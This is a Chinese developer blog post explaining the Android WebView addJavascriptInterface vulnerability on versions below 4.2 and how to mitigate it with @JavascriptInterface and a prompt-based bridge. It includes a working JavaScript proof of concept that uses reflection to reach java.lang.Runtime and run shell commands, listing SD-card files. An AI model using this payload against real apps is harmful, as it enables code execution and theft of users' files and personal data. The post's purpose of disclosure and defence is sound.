Android WebView的Js对象注入漏洞解决方案

最近在做一个项目过程中,发现了一个很严重的安全漏洞,这个漏洞是乌云平台(http://www.wooyun.org)报告出来的。

1,使用场景

我们很多时候要使用WebView来展示一个网页,现在很多应用为了做到服务端可控,很多结果页都是网页的,而不是本地实现,这样做有很多好处,比如界面的改变不需要重新发布新版本,直接在Server端修改就行了。用网页来展示界面,通常情况下都或多或少都与Java代码有交互,比如点击网页上面的一个按钮,我们需要知道这个按钮点击事件,或者我们要调用某个方法,让页面执行某种动作,为了实现这些交互,我们通常都是使用JS来实现,而WebView已经提供了这样的方法,具体用法如下:

[java]view plaincopy

mWebView.getSettings().setJavaScriptEnabled(true);

mWebView.addJavascriptInterface(newJSInterface(),"jsInterface");

我们向WebView注册一个名叫“jsInterface”的对象,然后在JS中可以访问到jsInterface这个对象,就可以调用这个对象的一些方法,最终可以调用到Java代码中,从而实现了JS与Java代码的交互。

我们一起来看看关于addJavascriptInterface方法在Android官网的描述:

This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API levelJELLY_BEANor below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.

JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.

The Java object's fields are not accessible.

简单地说,就是用addJavascriptInterface可能导致不安全,因为JS可能包含恶意代码。今天我们要说的这个漏洞就是这个,当JS包含恶意代码时,它可以干任何事情。

2,漏洞描述

通过JavaScript,可以访问当前设备的SD卡上面的任何东西,甚至是联系人信息,短信等。这很恶心吧,嘎嘎。好,我们一起来看看是怎么出现这样的错误的。可以去看看乌云平台上的这个bug描述:猛点这里

1,WebView添加了JavaScript对象,并且当前应用具有读写SDCard的权限,也就是:android.permission.WRITE_EXTERNAL_STORAGE

2,JS中可以遍历window对象,找到存在“getClass”方法的对象的对象,然后再通过反射的机制,得到Runtime对象,然后调用静态方法来执行一些命令,比如访问文件的命令.

3,再从执行命令后返回的输入流中得到字符串,就可以得到文件名的信息了。然后想干什么就干什么,好危险。核心JS代码如下:

[javascript]view plaincopy

functionexecute(cmdArgs)

{

for(varobjinwindow) {

if("getClass"inwindow[obj]) {

alert(obj);

returnwindow[obj].getClass().forName("java.lang.Runtime")

.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

}}}


3,漏洞证明

举例一:为了证明这个漏洞,写了一个demo来说明。我就只是加载一个包含恶意JS代码的本地网页,HTML其代码如下:

[html]view plaincopy

vari=0;

function getContents(inputStream)

{

varcontents=""+i;

varb=inputStream.read();

vari=1;

while(b != -1) {

varbString=String.fromCharCode(b);

contents += bString;

contents += "\n"

b=inputStream.read();

}

i=i+1;

return contents;

}

function execute(cmdArgs)

{

for (var obj in window) {

console.log(obj);

if ("getClass" in window[obj]) {

alert(obj);

return window[obj].getClass().forName("java.lang.Runtime").

getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

}

}

}

varp=execute(["ls","/mnt/sdcard/"]);

document.write(getContents(p.getInputStream()));

function onButtonClick()

{

// Call the method of injected object from Android source.

vartext=jsInterface.onButtonClick("从JS中传递过来的文本!!!");

alert(text);

}

function onImageClick()

{

//Call the method of injected object from Android source.

varsrc=document.getElementById("image").src;

varwidth=document.getElementById("image").width;

varheight=document.getElementById("image").height;

// Call the method of injected object from Android source.

jsInterface.onImageClick(src, width, height);

}

点击图片把URL传到Java代码

onclick="onImageClick()"

width="328"

height="185"

src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"

onerror="this.src='background_chl.jpg'"/>

与Java代码交互

这段HTML的运行效果如下:

图一:期望运行结果图

上图中,点击按钮后,JS中传递 一段文本到Java代码,显示一下个toast,点击图片后,把图片的URL,width,height传到Java层,也用toast显示出来。

要实现这样的功能,就需要注Java对象。

简单说明一下

1,请看execute()这个方法,它遍历所有window的对象,然后找到包含getClass方法的对象,利用这个对象的类,找到java.lang.Runtime对象,然后调用“getRuntime”静态方法方法得到Runtime的实例,再调用exec()方法来执行某段命令。

2,getContents()方法,从流中读取内容,显示在界面上。

3,关键的代码就是以下两句

[javascript]view plaincopy

returnwindow[obj].getClass().forName("java.lang.Runtime").

getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

Java代码实现如下:

[java]view plaincopy

mWebView = (WebView) findViewById(R.id.webview);

mWebView.getSettings().setJavaScriptEnabled(true);

mWebView.addJavascriptInterface(newJSInterface(),"jsInterface");

mWebView.loadUrl("file:///android_asset/html/test.html");

需要添加的权限:

[html]view plaincopy

当点击LOAD菜单后,运行截图如下:(理论上应该出现图一界面)

图二:实际运行结果,列出了SDCard中的文件

举例二:360浏览器也存在这个问题,我测试的系统是android 4.0.2,360浏览器版本是:4.8.7

在浏览器输入框中输入:http://bitkiller.duapp.com/jsobj.html,然后前往,它会出现如下的界面

图三:360浏览器运行结果

说明:其中searchBoxJavaBridge_不是360注入的对象,而是WebView内部注入的,这是在3.0以后的Android系统上添加的。

在关闭这个对话框之后,它会列出当前SDCard上面的所有文件列表,如下图所示

图四:错误结果

4,解决方案

1,Android 4.2以上的系统

在Android 4.2以上的,google作了修正,通过在Java的远程方法上面声明一个@JavascriptInterface,如下面代码:

[java]view plaincopy

classJsObject {

@JavascriptInterface

publicString toString() {return"injectedObject"; }

}

webView.addJavascriptInterface(newJsObject(),"injectedObject");

webView.loadData("","text/html",null);

webView.loadUrl("javascript:alert(injectedObject.toString())");

2,Android 4.2以下的系统

这个问题比较难解决,但也不是不能解决。

首先,我们肯定不能再调用addJavascriptInterface方法了。关于这个问题,最核心的就是要知道JS事件这一个动作,JS与Java进行交互我们知道,有以下几种,比prompt, alert等,这样的动作都会对应到WebChromeClient类中相应的方法,对于prompt,它对应的方法是onJsPrompt方法,这个方法的声明如下:

[java]view plaincopy

publicbooleanonJsPrompt(WebView view, String url, String message,

String defaultValue, JsPromptResult result)

通过这个方法,JS能把信息(文本)传递到Java,而Java也能把信息(文本)传递到JS中,通知这个思路我们能不能找到解决方案呢?

经过一番尝试与分析,找到一种比较可行的方案,请看下面几个小点:

【1】让JS调用一个Javascript方法,这个方法中是调用prompt方法,通过prompt把JS中的信息传递过来,这些信息应该是我们组合成的一段有意义的文本,可能包含:特定标识,方法名称,参数等。在onJsPrompt方法中,我们去解析传递过来的文本,得到方法名,参数等,再通过反射机制,调用指定的方法,从而调用到Java对象的方法。

【2】关于返回值,可以通过prompt返回回去,这样就可以把Java中方法的处理结果返回到Js中。

【3】我们需要动态生成一段声明Javascript方法的JS脚本,通过loadUrl来加载它,从而注册到html页面中,具体的代码如下:

[javascript]view plaincopy

javascript:(functionJsAddJavascriptInterface_(){

if(typeof(window.jsInterface)!='undefined') {

console.log('window.jsInterface_js_interface_name is exist!!');}

else{

window.jsInterface = {

onButtonClick:function(arg0) {

returnprompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));

},

onImageClick:function(arg0,arg1,arg2) {

prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));

},

};

}

}

)()

说明:

1,上面代码中的jsInterface就是要注册的对象名,它注册了两个方法,onButtonClick(arg0)和onImageClick(arg0, arg1, arg2),如果有返回值,就添加上return。

2,prompt中是我们约定的字符串,它包含特定的标识符MyApp:,后面包含了一串JSON字符串,它包含了方法名,参数,对象名等。

3,当JS调用onButtonClick或onImageClick时,就会回调到Java层中的onJsPrompt方法,我们再解析出方法名,参数,对象名,再反射调用方法。

4,window.jsInterface这表示在window上声明了一个Js对象,声明方法的形式是:方法名:function(参数1,参数2)

5,一些思考

以下是在实现这个解决方案过程中遇到的一些问题和思考:

【1】生成Js方法后,加载这段Js的时机是什么?

刚开始时在当WebView正常加载URL后去加载Js,但发现会存在问题,如果当WebView跳转到下一个页面时,之前加载的Js就可能无效了,所以需要再次加载。这个问题经过尝试,需要在以下几个方法中加载Js,它们是WebChromeClient和WebViewClient的方法:

onLoadResource

doUpdateVisitedHistory

onPageStarted

onPageFinished

onReceivedTitle

onProgressChanged

目前测试了这几个地方,没什么问题,这里我也不能完全确保没有问题。

【2】需要过滤掉Object类的方法

由于通过反射的形式来得到指定对象的方法,他会把基类的方法也会得到,最顶层的基类就是Object,所以我们为了不把getClass方法注入到Js中,所以我们需要把Object的公有方法过滤掉。这里严格说来,应该有一个需要过滤方法的列表。目前我的实现中,需要过滤的方法有:

"getClass",

"hashCode",

"notify",

"notifyAll",

"equals",

"toString",

"wait",

【3】通过手动loadUrl来加载一段js,这种方式难道js中的对象就不在window中吗?也就是说,通过遍历window的对象,不能找到我们通过loadUrl注入的js对象吗?

关于这个问题,我们的方法是通过Js声明的,通过loadUrl的形式来注入到页面中,其实本质相当于把我们这动态生成的这一段Js直接写在Html页面中,所以,这些Js中的window中虽然包含了我们声明的对象,但是他们并不是Java对象,他们是通过Js语法声明的,所以不存在getClass之类的方法。本质上他们是Js对象。

【4】在Android 3.0以下,系统自己添加了一个叫searchBoxJavaBridge_的Js接口,要解决这个安全问题,我们也需要把这个接口删除,调用removeJavascriptInterface方法。这个searchBoxJavaBridge_好像是跟google的搜索框相关的。

【5】在实现过程中,我们需要判断系统版本是否在4.2以下,因为在4.2以上,Android修复了这个安全问题。我们只是需要针对4.2以下的系统作修复。

源码下载

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,835评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,598评论 1 295
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,569评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,159评论 0 213
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,533评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,710评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,923评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,674评论 0 203
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,421评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,622评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,115评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,428评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,114评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,097评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,875评论 0 197
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,753评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,649评论 2 271

推荐阅读更多精彩内容